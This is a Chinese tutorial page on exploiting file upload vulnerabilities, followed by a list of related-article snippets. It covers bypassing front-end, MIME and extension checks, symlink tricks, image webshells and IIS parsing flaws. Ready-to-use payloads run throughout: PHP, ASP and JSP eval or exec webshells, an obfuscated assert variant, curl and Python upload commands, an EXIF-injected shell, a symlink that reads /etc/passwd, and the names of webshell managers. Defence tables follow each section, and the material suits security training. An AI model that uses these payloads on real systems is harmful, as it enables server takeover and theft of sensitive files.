当前位置: 首页 > news >正文

关于 Web 漏洞原理与利用:4. 文件上传漏洞

定义:文件上传漏洞是指应用程序允许用户上传文件,但没有严格校验上传文件的类型、内容、路径等属性,导致攻击者可以上传并执行恶意代码。


绕过方式:

前端绕过

1. 前端限制的原理

前端限制上传文件类型的常见方式有三种:

1)accept 属性限制上传文件后缀:

<input type="file" accept=".jpg,.png">

这只允许用户选择 .jpg.png 后缀的文件。

2)前端 JS 脚本校验:

例如用 JavaScript 限制后缀名或文件大小:

const file = document.getElementById("file").files[0];
if (!file.name.endsWith(".jpg")) {alert("只能上传 JPG 图片!");return false;
}

3)通过 MIME 类型校验:

前端代码可能会检查文件的 type 属性:

if (file.type !== "image/jpeg") {alert("只允许上传图片!");return false;
}

结论:以上所有校验都是“客户端校验”,攻击者完全可以绕过!因为攻击者可以不通过浏览器上传,而是自己构造上传请求。

2. 前端绕过的攻击原理

前端校验只能在浏览器上生效。而上传的核心流程如下:

POST /upload HTTP/1.1
Host: target.com
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary------WebKitFormBoundary
Content-Disposition: form-data; name="file"; filename="shell.php"
Content-Type: application/octet-stream<?php @eval($_POST['cmd']); ?>
------WebKitFormBoundary--

攻击者只要能构造这样的 HTTP 请求(与浏览器无关),即可上传任何文件类型。

3. 前端绕过的几种实战方法

方法一:禁用 JS 直接选文件

如果页面通过 JS 阻止上传(例如不让选择 .php 文件),可以:

  • 右键网页 → 检查 → Application → Local File System 手动选文件

  • 或者用 curl、Postman、Python 绕过

方法二:Burp Suite 抓包修改文件名

步骤:

  • 正常上传一张 .jpg 图片

  • Burp Suite 抓包

  • 修改请求中的 filename="xxx.jpg"filename="shell.php"

  • 修改请求体中的文件内容为 PHP Webshell

  • 发送请求,查看响应路径是否上传成功

Content-Disposition: form-data; name="file"; filename="shell.php"

即使前端只允许 .jpg,服务端没做验证,也可能成功!

方法三:curl 模拟上传

用 curl 构造上传请求(替代浏览器):

curl -F "file=@shell.php" http://target.com/upload

完全绕过前端任何 JS 校验!

方法四:Python requests 上传

构造 Python 脚本:

import requestsfiles = {'file': ('shell.php', open('shell.php', 'rb'), 'application/octet-stream')}
r = requests.post('http://target.com/upload', files=files)
print(r.text)

也能轻松绕过前端限制。

方法五:Postman 构造上传请求

  • 使用 Postman 新建 POST 请求

  • 在 Body → form-data 添加字段:

    • key: file

    • type: File

    • value: 本地的 shell.php

  • 点击发送

4. 防御建议

防护位置措施
服务端对文件扩展名进行白名单校验(如:仅允许 .jpg, .png
服务端对 MIME 类型进行验证(推荐通过 magic bytes,而非请求头)
服务端对上传路径进行隔离,不允许上传目录执行脚本
服务端对文件内容进行特征过滤(如检测 <?php 字符)
安全中间件使用 WAF 拦截 eval, base64_decode, cmd 等关键词

小结

前端绕过的本质:攻击者完全可以跳过浏览器,构造自己的 HTTP 请求,从而绕过一切前端校验。

=======================================

MIME 类型绕过

MIME(Multipurpose Internet Mail Extensions)类型,是 HTTP 请求中描述文件内容类型的字段,常见于上传时的请求头:

Content-Type: image/jpeg

常见类型有:

文件类型MIME 类型
JPEG图片image/jpeg
PNG图片image/png
HTMLtext/html
PHPapplication/x-httpd-php
可执行文件application/octet-stream

服务端错误的 MIME 判断方式

很多开发者会使用以下逻辑判断上传文件是否合法:

if ($_FILES['file']['type'] != "image/jpeg") {die("请上传图片文件!");
}

问题:$_FILES['file']['type'] 是由 客户端上传时声明的 MIME 类型,攻击者可以伪造

1. MIME 类型绕过的原理

攻击核心:

攻击者伪造请求头中 Content-Type 为服务器信任的类型,例如:

Content-Type: image/jpeg

然后上传 .php 文件内容,就可能绕过验证。

2. 实战 MIME 类型绕过方法

方法一:抓包修改 MIME(最常用)

  • 正常上传 .jpg 文件抓包

  • 修改请求内容如下:

Content-Disposition: form-data; name="file"; filename="shell.php"
Content-Type: image/jpeg<?php @eval($_POST['cmd']); ?>
  • 服务端只检查 Content-Type: image/jpeg,可能直接通过。

方法二:curl 构造 MIME 请求

curl -X POST http://target.com/upload -F "file=@shell.php;type=image/jpeg"
  • @shell.php 指上传的本地文件

  • type=image/jpeg 表示 MIME 类型为图片,伪造成功

方法三:Python 模拟上传(伪造 Content-Type)

import requestsfiles = {'file': ('shell.php', open('shell.php', 'rb'), 'image/jpeg')
}res = requests.post('http://target.com/upload', files=files)
print(res.text)

即使上传的是 PHP,伪装成 JPEG,服务器若只看 Content-Type 就会中招。

方法四:图片马 + MIME 绕过

制作“图片马”:

GIF89a
<?php @eval($_POST['cmd']); ?>

保存为 shell.jpg,上传时 MIME 仍为 image/jpeg

如果服务器按 MIME 和扩展名判断,不按内容判断,就可能被执行。

3. 常见误判方式

错误代码描述
$_FILES['file']['type']取的是客户端提供的 MIME,可伪造
JS 检查 file.type是前端行为,攻击者可以直接 POST
只看文件后缀名 + MIME双保险都能伪造

4. 防御建议

防御方式描述
 使用 Magic Number 验证使用文件头判断文件真实类型(推荐)
 白名单策略严格限制上传类型:只允许 .jpg/.png
 后端二次校验不能信任用户提交的 Content-Type
 隔离上传路径上传目录不允许执行(不解析 PHP 等脚本)
 文件改名存储上传文件改为 UUID+扩展名,防止执行

5. Magic Number(文件头)快速识别参考

文件类型开头标识(Magic Header)
JPEGFF D8 FF
PNG89 50 4E 47
GIF47 49 46 38
PDF%PDF
ZIP50 4B 03 04
EXEMZ

可以使用 Python 检测 Magic Header:

with open("file.jpg", "rb") as f:magic = f.read(4)print(magic)

小结

MIME 类型可以轻松伪造,千万不能作为文件是否合法的依据。

必须在后端通过真实内容检查(Magic Number)+ 类型白名单 + 存储隔离多重措施防御。

=======================================

双扩展名

双扩展名就是给上传的文件命名为两个扩展名的形式:

shell.php.jpg

或者:

shell.jpg.php

目的:混淆服务端或 Web 服务器对文件类型的识别,从而绕过上传限制并达到执行 WebShell 的目的。

为什么双扩展名会绕过?

在某些服务端逻辑中:

  • 检查上传文件后缀是否为图片(例如:endswith(".jpg")

  • 一看到 .jpg 就放行,不管前面还有 .php

于是:

文件名:shell.php.jpg
服务端:哦,是 .jpg,合法!
Web 服务器:实则按 .php 解析!可能直接执行!

1. 不同服务器对双扩展名的解析差异

服务器类型解析策略说明
Apache默认取最后一个扩展名(.jpg可配置,需看 mod_mime 等模块
Nginx默认取最后一个扩展名(.jpg不解析 .php.jpg 文件
IIS常常取 第一个识别的可执行后缀.php;.jpg 可能会执行

2. 双扩展名绕过的几种形式

1)普通双扩展名:

shell.php.jpg
shell.asp.jpg
shell.jsp.jpg

如果服务端只判断最后一个扩展名,会被绕过。

2)带多个点(多扩展):

shell.php.1.jpg
shell.php.abc.jpg

有些框架只会取第一个点后的部分进行判断,导致绕过。

3)利用 Windows 的「忽略第二扩展名」特性(IIS 特性):

shell.asp;.jpg

Windows 文件名允许 ;,IIS 会识别前半段为脚本,后面忽略,仍然执行。

4)上传后路径解析造成绕过:

假设上传后文件名被服务器改为:

shell.php.jpg -> /uploads/shell.php.jpg

攻击者访问:

http://target.com/uploads/shell.php.jpg

如果 Web 服务未正确配置(比如直接转发给 PHP 引擎),也可能执行里面的 PHP 代码。

3. 实战举例

上传双扩展名图片马:

创建一个“图片马”:

GIF89a
<?php @eval($_POST['cmd']); ?>

保存为:

shell.php.jpg

抓包修改上传参数(如 Content-Type 设置为 image/jpeg),绕过检查。

如果上传成功,访问:

http://target.com/uploads/shell.php.jpg

如果目标服务器会将其作为 PHP 执行,就 getshell 了。

4. 防御建议

措施说明
 严格后端校验扩展名如不包含 .php.jsp
 限制文件名只能包含一个点拒绝多扩展名上传
 上传后强制重命名使用 UUID 或 hash 做存储名
 上传目录禁止脚本执行Nginx 设置 autoindex off; + 不交给 PHP 引擎
 使用 Magic Number 校验文件内容类型不信扩展名和 MIME
 WAF 拦截可疑上传文件名比如包含 .php 的文件名

小结

双扩展名绕过的本质是服务端只检查“最后一个扩展名”,而 Web 服务可能根据前面的扩展名解析执行。

如果后端只判断 .jpg 而忽略了 .php,或者 IIS 会执行 shell.php;.jpg,就会导致严重的上传+执行漏洞,最终 getshell。

=======================================

软连接绕过

软连接(Symbolic Link)是 Linux 下的“快捷方式”,类似 Windows 的快捷方式文件。

例如:

ln -s /etc/passwd ./a.jpg

会在当前目录创建一个叫 a.jpg 的文件,实际上是 /etc/passwd 的软链接。

软连接与文件上传绕过的关系

攻击思路:

  • 上传文件 时,服务端只检查扩展名、MIME 类型;

  • 上传的内容其实是一个软连接文件,指向一个敏感脚本(或你上传的已存在 WebShell);

  • 如果服务器将该文件当成上传结果处理,访问链接路径时可能执行原始文件,或者获取敏感数据。

1. 利用条件(环境依赖较强)

要使用软连接绕过,必须满足以下条件:

条件说明
 Linux 系统Windows 不支持软链接用于这种方式
 Web 目录具有读权限否则 Web 无法访问软链接目标
 上传目录允许写入软链接有些服务器禁用软链接操作
 未严格检查上传内容服务端未禁止非图片数据
 Web 服务能解析软链接即访问软链接时能解析执行其目标文件

2. 攻击实例

示例 1:读取敏感文件(非 getshell)

上传一个伪装成图片的软链接:

ln -s /etc/passwd passwd.jpg

然后上传 passwd.jpg,如果上传路径是 Web 可访问的:

http://target.com/upload/passwd.jpg

就可能显示 /etc/passwd 的内容

示例 2:访问网站中的已存在后门

假设找到了某个泄漏页面 /admin/shell.php,但它只能通过某个复杂路径才能访问(比如被防火墙保护)。

上传一个软链接:

ln -s /var/www/html/admin/shell.php shell.jpg

上传后访问:

http://target.com/upload/shell.jpg

就可能绕过路径限制,直接访问到 WebShell!

示例 3:绕过后缀限制(配合双扩展)

将软链接命名为:

shell.php.jpg -> /var/www/html/uploads/shell.php

服务端判断后缀为 .jpg,就允许上传,但实际链接的是 .php 文件,仍可能被执行。

3. 防御方式

防御措施说明
 禁止上传软连接文件上传接口判断是否为软链接(见下方示例)
 上传目录挂载为 nofollow防止软连接被解析
 上传后重命名并移动不保留原路径、软连接无效
 配置 Web 服务禁止解析符号链接Nginx/Apache 配置关闭 symlink 解析
 文件内容识别验证拒绝上传符号链接文件,检查是否真实图片等

4. 检测上传文件是否是软链接

后端代码示例(PHP):

if (is_link($_FILES['file']['tmp_name'])) {die("禁止上传符号链接文件!");
}

或使用 filetype()

if (filetype($_FILES['file']['tmp_name']) == "link") {die("拒绝上传软链接!");
}

小结

软连接绕过的核心是:上传的文件其实是一个链接,服务端未验证内容,访问时可能导致敏感信息泄露或绕过路径保护,甚至执行隐藏的 WebShell。


getshell 实例:

Webshell 上传

WebShell 是一种后门脚本文件,通过 Web 页面远程控制服务器。

常见的 WebShell 类型包括:

脚本类型常见扩展名举例语言
PHP Shell.php, .phtml<?php @eval($_POST['pass']); ?>
ASP Shell.asp, .aspx<%eval request("pass")%>
JSP Shell.jsp<% Runtime.getRuntime().exec(request.getParameter("cmd")); %>

1. 攻击条件(前提)

成功上传 WebShell 并执行,需满足以下前提:

  • 上传功能可用

  • 上传后文件可访问且可执行

  • 服务端未对上传类型/内容做严格限制

  • 没有 WAF(Web 应用防火墙)或其他检测机制拦截

2. 攻击流程详解

步骤 1:准备 WebShell 文件(例如 PHP)

<?php @eval($_POST['pass']); ?>

也可以用更隐蔽的变种:

<?php
$a='ass'.'ert';
$b='$_POST[1]';
$a($b);
?>

步骤 2:上传脚本文件

如果前端限制只能上传 .jpg,可以通过:

  • 修改后缀:shell.php.jpg

  • 拦截请求(Burp)改文件名为 shell.php

  • MIME 类型伪造:Content-Type: image/jpeg

步骤 3:上传成功后,访问 WebShell

http://target.com/upload/shell.php

或(双扩展):

http://target.com/upload/shell.php.jpg

步骤 4:控制 WebShell(Getshell)

  • 使用工具如:蚁剑(AntSword)、冰蝎(Behinder)、中国菜刀等;

  • 输入密码字段(如 pass);

  • 获得命令执行界面或文件管理界面。

3. 绕过技巧合集

绕过手段原理
前端绕过JS 检查可被禁用或绕过(改 HTML 或直接抓包上传)
MIME 类型伪造Content-Type 改为合法类型如 image/jpeg
双扩展名shell.php.jpgshell.asp;.jpg(IIS)
文件头伪造添加 GIF 或 JPG 文件头
上传后重命名漏洞文件被重命名但保留可执行扩展
路径可控或软链接上传后路径可预测或指向 WebShell 文件

4. 实战演示(PHP + Apache)

服务端代码(漏洞示例):

<?php
$upload_dir = "uploads/";
$target = $upload_dir . basename($_FILES['file']['name']);if (move_uploaded_file($_FILES['file']['tmp_name'], $target)) {echo "Upload success!";
} else {echo "Upload failed!";
}

这个代码没有任何扩展名、MIME 类型或内容检查,可直接上传 .php 文件。

上传方式(用 curl 模拟):

curl -X POST -F "file=@shell.php" http://target.com/upload.php

然后访问:

http://target.com/uploads/shell.php

输入 POST 数据:

pass=phpinfo();

即可执行代码。

5. 防御建议

防御措施说明
 文件类型白名单只允许 .jpg.png 等安全类型
 文件内容检测使用 file 命令或图片头判断,不信扩展名
 上传文件改名使用随机 UUID 替换原文件名
 上传目录禁止解析Nginx 配置 location ~* \.php$ { deny all; }
 文件隔离上传文件不放在 Web 根目录下
 后门检测工具使用 D盾、WebShellCheck、Yakit 等检测工具

6. 工具推荐

工具名称用途
蚁剑 AntSword最流行的跨平台 WebShell 管理工具
冰蝎 Behinder高级 WebShell,支持加密、内存马
中国菜刀老牌 WebShell 客户端
Burp Suite抓包修改上传参数绕过限制
webshell-detect检测服务器 WebShell 的工具脚本

小结

WebShell 上传是文件上传漏洞的终极目标,一旦成功就意味着攻击者能完全控制服务器。

=======================================

图片马

图片马(Image WebShell)指的是伪装成图片格式的 WebShell 文件,攻击者通过在图片文件中隐藏脚本代码,欺骗服务端的上传限制,从而实现代码执行。

图片马可用于绕过:

  • 文件扩展名限制(只能上传 .jpg, .png 等)

  • MIME 类型限制(Content-Type 必须为 image/*)

  • 文件头检测(Magic Number 判断)

1. 构造图片马的原理

图片文件本质是二进制文件,不同格式有固定的文件头:

图片类型文件头(Magic Number)
JPGFF D8 FF
PNG89 50 4E 47 0D 0A
GIFGIF89a

而 Web 服务器在检查上传文件时,很多只校验:

  • 文件扩展名;

  • 文件 MIME;

  • 文件头(Magic Number)前几个字节;

不会分析后续内容是否包含恶意代码。

2. 常见的图片马构造方式

方式一:伪造图片文件头 + PHP 代码

方法:在 PHP WebShell 前加图片文件头

GIF89a
<?php @eval($_POST['cmd']); ?>

保存为:shell.gif,这就是图片马。

访问时:

http://target.com/uploads/shell.gif

POST 请求内容:

cmd=phpinfo();

如果服务器仍按 PHP 解析器解析(例如上传目录支持 .gif 被解析为 PHP),就能执行代码。

方式二:嵌入 WebShell 到真实图片尾部

可以把 PHP 代码加在正常图片后面:

copy /b real.jpg + shell.php shell.jpg

或者使用 Linux:

cat real.jpg shell.php > shell.jpg

这种图片能正常查看(例如浏览器可预览),但访问时仍可执行其中的 WebShell。

方式三:隐藏在图片的 EXIF 信息中

EXIF 是图片的元数据,攻击者可将 Shell 写入其中字段:

修改方法(PHP):

exiftool -Comment='<?php eval($_POST["cmd"]); ?>' image.jpg

服务器读取 EXIF 并包含或解析时,代码会执行(结合文件包含漏洞使用)。

3. 攻击流程

  • 攻击者准备伪装好的图片马文件;

  • 上传时抓包修改扩展名为 .jpg 或伪造 MIME:

    Content-Type: image/jpeg
    
  • 上传成功后访问路径:

    http://target.com/uploads/shell.jpg
    
  • 使用蚁剑等 WebShell 工具连接,或手动发 POST 请求执行命令。

4. 图片马常见绕过技巧

绕过方式说明
文件头伪造加上 GIF89aFFD8FF 开头
扩展名伪装使用 .jpg, .png, .gif
双扩展名shell.php.jpgshell.phtml.jpg
MIME 伪造Content-Type: image/jpeg 伪造请求头
真实图片拼接使用 catcopy /b 拼接真实图片与 Shell
使用特殊文件名shell.php%00.jpg(空字节截断)旧漏洞
IIS 特性上传 .php;.jpg(双扩展名 + IIS 解析漏洞)

5. 实战演示(Apache + PHP)

WebShell 内容(shell.gif):

GIF89a
<?php eval($_POST['cmd']); ?>

上传:

使用 Burp Suite 抓包,修改上传字段为:

Content-Disposition: form-data; name="file"; filename="shell.gif"
Content-Type: image/gif

上传成功后访问:

http://target.com/uploads/shell.gif

POST 请求:

cmd=system('whoami');

效果:

如果服务器将上传目录文件仍作为 PHP 解析 → 成功执行 WebShell → Getshell 成功。

6. 防御建议

防御措施说明
 限制 MIME + 扩展名同时校验后缀名和内容类型
 检测 Magic Number检查文件是否是合法图片头且长度匹配
 上传目录禁用解析上传目录不允许执行 .php 文件(Nginx deny)
 文件改名 + 改路径改为随机名且存放在不可访问的路径
 使用专业安全组件如阿里云 OSS、腾讯 COS 附带内容安全检查
 设置图片后缀白名单拒绝 .php.jpg.phtml.phar 等可解析格式

7. 工具推荐

工具说明
ExifTool修改图片 EXIF 信息
AntSword上传并连接图片马 WebShell
Burp Suite抓包伪造上传请求绕过
Yakit/D盾WebShell 检测工具
PHP 伪图片生成脚本可自动生成图片马样本

小结

图片马是一种利用服务端上传处理不严、文件解析机制配置不当,实现隐蔽 WebShell 上线的手法。 它配合上传绕过技巧,依旧是渗透测试中非常实用的一招。

=======================================

解析漏洞(IIS 特性)

IIS(Internet Information Services)是微软提供的 Web 服务。解析漏洞是指:

Web 服务器对文件的扩展名解析逻辑存在缺陷,攻击者可以上传恶意脚本伪装成非脚本文件绕过检测,但服务器最终仍会将其作为脚本解析执行

常见于 IIS 6.0 / 7.0 / 7.5 / 8.0 等旧版本。

1. 利用解析漏洞的关键特性

IIS 的解析顺序(优先顺序):

IIS 处理文件时,会:

  • 找到文件路径;

  • 尝试按扩展名查找对应的处理程序(Handler);

  • 有一些版本的 IIS 会 从第一个扩展名起就开始匹配处理程序

也就是说:文件名 shell.asp;.jpg,IIS 仍会按照 .asp 解析执行!

导致漏洞的配置(默认情况下):

  • IIS 将 第一个合法扩展名 作为解析目标;

  • IIS 忽略后续扩展名;

  • 也支持空格、分号、00 截断等绕过方式。

2. 经典利用方式举例

方式一:双扩展名 + 分号

上传文件名:shell.asp;.jpg

虽然后缀是 .jpg,但 IIS 按 .asp 处理,会当做脚本执行!

访问地址:

http://target.com/uploads/shell.asp;.jpg

如果上传目录支持 .asp 文件解析,就 Getshell 成功。

方式二:空格绕过(部分 IIS 支持)

上传:shell.asp .jpg(注意扩展名前加空格)

IIS 有时会自动忽略空格后缀,仍按 .asp 解析。

方式三:%20%00 空格/截断字符绕过

  • shell.asp%20.jpg (URL 中加空格)

  • shell.asp%00.jpg (URL 截断字符)

一些老的解析器或语言可能会把 %00 作为字符串结尾 → 实际处理为 shell.asp

方式四:NTFS ADS(替代数据流)

在 Windows 系统上,可以构造:

shell.jpg::$DATA

上传后实际存储为 NTFS 的数据流,某些配置下可以执行隐藏数据。

但这种方式利用受限于服务端具体环境。

3. 实战演示(IIS 6.0 示例)

假设上传限制只允许 .jpg 文件。

上传方式:

上传文件名:shell.asp;.jpg

文件内容:

<%eval request("cmd")%>

抓包修改请求头:

Content-Disposition: form-data; name="file"; filename="shell.asp;.jpg"
Content-Type: image/jpeg

上传成功后访问:

http://target.com/uploads/shell.asp;.jpg

提交 POST 数据:cmd=Response.Write("hello"),成功返回说明解析漏洞存在。

4. 解析漏洞的核心本质

“文件上传 + Web 服务器配置失误 = Getshell”

不是上传功能本身出问题,而是 Web 服务器的解析机制对攻击者过于宽容

这也是为什么即使文件名后缀看上去正常(.jpg),但仍可能执行其中的 WebShell 代码。

5. 防御方式

防御措施说明
 文件名规范化上传后强制改名(使用 UUID 或 hash)
 禁用危险扩展解析修改 IIS 配置:删除 .asp.php 等解析器
 上传目录隔离设置上传目录不执行脚本(web.config deny 或权限限制)
 WAF 拦截拦截伪装的双扩展名 / 分号 / 空格等可疑请求
 使用第三方云存储如阿里云 OSS、腾讯 COS,上传即隔离

6. 检测工具推荐

工具功能
IIS Shortname Scanner扫描 IIS 解析路径漏洞
Burp Suite + 手动测试构造双扩展名、空格上传包
冰蝎 / 蚁剑一旦上传成功用于连接 Shell
WAF Log 分析检测双扩展名、; 等敏感字符访问日志

小结

解析漏洞不是上传漏洞本身,而是服务器“过度聪明”的解析行为被攻击者利用,常见于 IIS 上,典型的就是双扩展名+分号。

相关文章:

关于 Web 漏洞原理与利用:4. 文件上传漏洞

定义&#xff1a;文件上传漏洞是指应用程序允许用户上传文件&#xff0c;但没有严格校验上传文件的类型、内容、路径等属性&#xff0c;导致攻击者可以上传并执行恶意代码。 绕过方式&#xff1a; 前端绕过 1. 前端限制的原理 前端限制上传文件类型的常见方式有三种&#xf…...

(6)python爬虫--selenium

文章目录 前言一、初识selenium二、安装selenium2.1 查看chrome版本并禁止chrome自动更新2.1.1 查看chrome版本2.1.2 禁止chrome更新自动更新 2.2 安装对应版本的驱动程序2.3安装selenium包 三、selenium关于浏览器的使用3.1 创建浏览器、设置、打开3.2 打开/关闭网页及浏览器3…...

MCU 上电不启动的常见原因分析与排查思路

在开发过程中&#xff0c;“MCU 上电不运行”是我们经常遇到的问题之一。但客户对此类问题的描述往往较为模糊&#xff0c;仅简单表示“产品不工作”或“怀疑 MCU 没有运行”&#xff0c;这给我们现场排查带来了较大的挑战。即便工程师到达现场&#xff0c;往往也无法迅速定位问…...

Spark Core 源码关键环节的深度解析

以下是对 Spark Core 源码关键环节的深度解析&#xff0c;包括核心组件启动与调度机制、Shuffle与调度系统、RDD高级机制。每个环节都细化到具体方法、逻辑、源码片段&#xff0c;附有流程图思路与速记口诀&#xff0c;便于记忆和理解。 一、核心组件启动与调度机制 1. RpcEnv…...

net Core》》包与库 LibMan、NPM

LibMan 资料 NPM 资料 在 Visual Studio 中使用 npm package.json 保存之后 vs会自动下载的。 注意&#xff1a;如果您没有看到 node_modules 文件夹&#xff0c;请确保在 Visual Studio 解决方案资源管理器中启用了“显示所有文件”选项 要卸载该库&#xff0c;您只需从 …...

数学建模,机器决策人建模

目录 数学建模 微分方程 动态系统建模 时间序列分析 概述 指数衰减 随机漂移 总结 曲线拟合 最优化方法 梯度下降法 概率建模&#xff08;如贝叶斯建模、马尔可夫过程、MDP/POMDP&#xff09; 等 贝叶斯建模 贝叶斯定理 优势 马尔可夫过程 马尔可夫过程的分类…...

FFmpeg中使用Android Content协议打开文件设备

引言 随着Android 10引入的Scoped Storage&#xff08;分区存储&#xff09;机制&#xff0c;传统的文件访问方式发生了重大变化。FFmpeg作为强大的多媒体处理工具&#xff0c;也在不断适应Android平台的演进。本文将介绍如何在FFmpeg 7.0版本中使用Android content协议直接访…...

SQL查询, 响应体临时字段报: Unknown column ‘data_json_map‘ in ‘field list‘

Overridepublic AjaxResult list(AgentPageReqVO pageReqVO, Integer pageNo, Integer pageSize) {// 1. 查询数据库获取代理列表List<AgentDO> list agentMapper.selectPage(pageReqVO).getList();// 如果结果为空&#xff0c;直接返回空分页结果if (CollectionUtils.i…...

OpenCv高阶(十四)——LBPH人脸识别

文章目录 前言一、LBPH原理1. LBP&#xff08;局部二值模式&#xff09;特征提取2. 图像分块处理3. 生成直方图4. 人脸识别&#xff08;匹配阶段&#xff09;5. LBPH的特点6. 变种与优化 二、LBPH人脸识别简单实现&#xff08;一&#xff09;LBPH人脸识别1、图像读取&#xff0…...

C#开发利器:SharpBoxesCore全解析

SharpBoxesCore 是一个基于 C# 的开源开发工具库&#xff0c;旨在为开发者提供一系列常用功能模块和辅助类&#xff0c;以提高开发效率、减少重复代码编写&#xff0c;并增强项目的可维护性和扩展性。该库集成了多种实用工具类和通用扩展方法&#xff0c;适用于桌面应用、Web 项…...

回表是数据库概念,还是mysql的概念?

主键索引没有列&#xff0c;根据耳机索引去查主键索引&#xff0c;又没有查表&#xff0c;为啥叫回表呢&#xff1f; “回表”这个词&#xff0c;其实算是数据库里的一个通用概念&#xff0c;不过它最常见的应用场景是在 MySQL 的 InnoDB 引擎里&#xff0c;所以很多人一提起回…...

49、c# 能⽤foreach 遍历访问的对象需满足什么条件?

在 C# 中&#xff0c;要使用 foreach 循环遍历一个对象&#xff0c;该对象必须满足以下条件之一&#xff1a; 1. 实现 IEnumerable 或 IEnumerable 接口 非泛型版本&#xff1a;System.Collections.IEnumerable public class MyCollection : IEnumerable {private int[] _da…...

DL00987-基于深度学习YOLOv11的红外鸟类目标检测含完整数据集

提升科研能力&#xff0c;精准识别红外鸟类目标&#xff01; 完整代码数据集见文末 针对科研人员&#xff0c;尤其是研究生们&#xff0c;是否在鸟类目标检测中遇到过数据不够精准、处理困难等问题&#xff1f;现在&#xff0c;我们为你提供一款基于深度学习YOLOv11的红外鸟类…...

07 接口自动化-用例管理框架之pytest单元测试框架

文章目录 一、pytest用例管理框架&#xff08;单元测试框架&#xff09;二、pytest简介三、pytest的最基本的测试用例的规则四、运行方式1.主函数方式2.命令行方式3.通过pytest.ini的配置文件运行 五、pytest 默认执行测试用例的顺序六、跳过测试用例1.无条件跳过 pytest.mark.…...

Flutter 中 build 方法为何写在 StatefulWidget 的 State 类中

Flutter 中 build 方法为何写在 StatefulWidget 的 State 类中 在 Flutter 中&#xff0c;build 方法被设计在 StatefulWidget 的 State 类中而非 StatefulWidget 类本身&#xff0c;这种设计基于几个重要的架构原则和实际考量&#xff1a; 1. 核心设计原因 1.1 生命周期管理…...

多技术栈 iOS 项目的性能调试实战:从 Flutter 到 Unity(含 KeyMob 工具实测)

多技术栈 iOS 项目的性能调试实战&#xff1a;从 Flutter 到 Unity 随着移动端开发日趋多元化&#xff0c;iOS 项目中纯 Objective-C/Swift 已不再是唯一选择。越来越多团队采用 Flutter、React Native、Unity、WebView 混合等方案构建 App。这种“技术栈混合”带来灵活性的同…...

Base64加密解密

Base64 是一种基于 64 个可打印字符来表示二进制数据的编码方式&#xff0c;常用于需要通过文本协议传输二进制数据的场景&#xff08;如 URL、邮件&#xff09;。以下是不同场景下生成 Base64 编码的方法&#xff1a; 一、编程语言实现 Python import base64# 字符串转Base…...

程序设计基础----排序(2)

1、冒泡排序 #include <stdio.h>#define N 1000 int arr[N];/* 对长度为n的数组arr执行冒泡排序 */ void bubbleSort(int arr[], int n);/* 打印长度为n的数组arr */ void printArray(int arr[], int n);void swap(int *xp, int *yp) {int temp *xp;*xp *yp;*yp temp…...

C++:vector容器

vector容器与array容器相似&#xff0c;但vector容器是动态的&#xff0c;可以自动扩容。 使用方法和一些注意如下&#xff1a; #include<iostream> #include<vector> using namespace std;int main() {vector<char> vec { a,b,c,d };vec[4] e;//不能以此…...

十四、Hive 视图 Lateral View

作者&#xff1a;IvanCodes 日期&#xff1a;2025年5月20日 专栏&#xff1a;Hive教程 在Hive中&#xff0c;我们经常需要以不同于原始表结构的方式查看或处理数据。为了简化复杂查询、提供数据抽象&#xff0c;以及处理复杂数据类型&#xff08;如数组或Map&#xff09;&#…...

Frp Dockr Mysql内网映射

用 FRP 远程暴露 Mac mini 上的 Docker-MySQL&#xff08;含 Ubuntu frps 安装和 macOS 客户端配置&#xff09; 一、环境说明 服务器&#xff08;公网&#xff09;&#xff1a;Ubuntu 22.04 frps内网设备&#xff1a;macOS (Mac mini) frpc Docker MySQL目标&#xff1a;…...

PHP 扇形的面积(Area of a Circular Sector)

圆形扇区或圆形扇区是圆盘上由两个半径和一个圆弧围成的部分&#xff0c;其中较小的区域称为小扇区&#xff0c;较大的区域称为大扇区。让我们看看这个图&#xff0c;试着找出扇区&#xff1a; 在该图中&#xff0c;绿色阴影部分是扇形&#xff0c;“r”是半径&#xff0c;“th…...

物业后勤小程序源码介绍

基于ThinkPHPFastAdminUniApp开发的物业后勤小程序源码&#xff0c;它为物业管理提供了高效便捷的解决方案。 该源码功能丰富&#xff0c;涵盖房屋认证、家人认证&#xff0c;保障社区居住安全&#xff1b;支持报事报修、装修申请&#xff0c;方便业主与物业沟通&#xff1b;还…...

git基础操作

当远程仓库迁移到一个新的组下面时&#xff0c;你需要在本地仓库中更新远程仓库的URL&#xff0c;以便与新的远程仓库关联。以下是详细步骤&#xff1a; 获取新的远程仓库URL&#xff1a; 首先&#xff0c;你需要从GitLab或相关平台获取新组下的仓库的新URL。通常&#xff0c;仓…...

鸿蒙HarmonyOS 【ArkTS组件】通用属性-背景设置

&#x1f4d1;往期推文全新看点&#xff08;附带最新鸿蒙全栈学习笔记&#xff09; 嵌入式开发适不适合做鸿蒙南向开发&#xff1f;看完这篇你就了解了~ 鸿蒙岗位需求突增&#xff01;移动端、PC端、IoT到底该怎么选&#xff1f; 分享一场鸿蒙开发面试经验记录&#xff08;三面…...

java 在用redis 的时候,如何合理的处理分页问题? redis应当如何存储性能最佳

在 Java 中使用 Redis 处理用户表分页时&#xff0c;需结合其数据结构特性优化存储和查询 1. 数据结构设计 场景需求 用户表字段&#xff1a;id, name, age, register_time&#xff08;注册时间&#xff09;分页要求&#xff1a;按注册时间倒序分页展示&#xff0c;每页 10 条…...

分类预测 | Matlab实现PNN概率神经网络多特征分类预测

分类预测 | Matlab实现PNN概率神经网络多特征分类预测 目录 分类预测 | Matlab实现PNN概率神经网络多特征分类预测分类效果代码功能算法流程程序设计参考资料分类效果 代码功能 该代码实现了一个基于**概率神经网络(PNN)**的多分类任务,核心功能如下: 数据预处理 读取Exce…...

spring-retry

学习链接 【SpringBoot】spring-retry(重试机制) 【Spring】Spring Retry CSDN有点可恶啊&#xff0c;拿着别人的文章&#xff0c;要开VIP才能看...

RTMP协议解析【二】

文章目录 RTMP协议解析【二】RTMP消息消息的格式Basic HeaderMessage HeaderExtended Timestamp RTMP协议解析【二】 本专栏重点负责介绍RTMP协议的理论部分&#xff0c; 跳过定义&#xff0c;协议与其他协议的优缺点对比&#xff0c;协议的拓展与改进&#xff0c;协议的历史发…...

WebGL2混合与雾

混合技术 一、混合基本技术 混合技术就是将两个片元调和&#xff0c;主要通过各种测试将准备进入帧缓冲&#xff08;源片元&#xff09;与帧缓冲中原有片元&#xff08;目标片元&#xff09;按照设定的比例加权计算出最终片元的颜色值 。 两种常用 组合 &#xff1a; 源因子…...

Windows Docker笔记-扩展

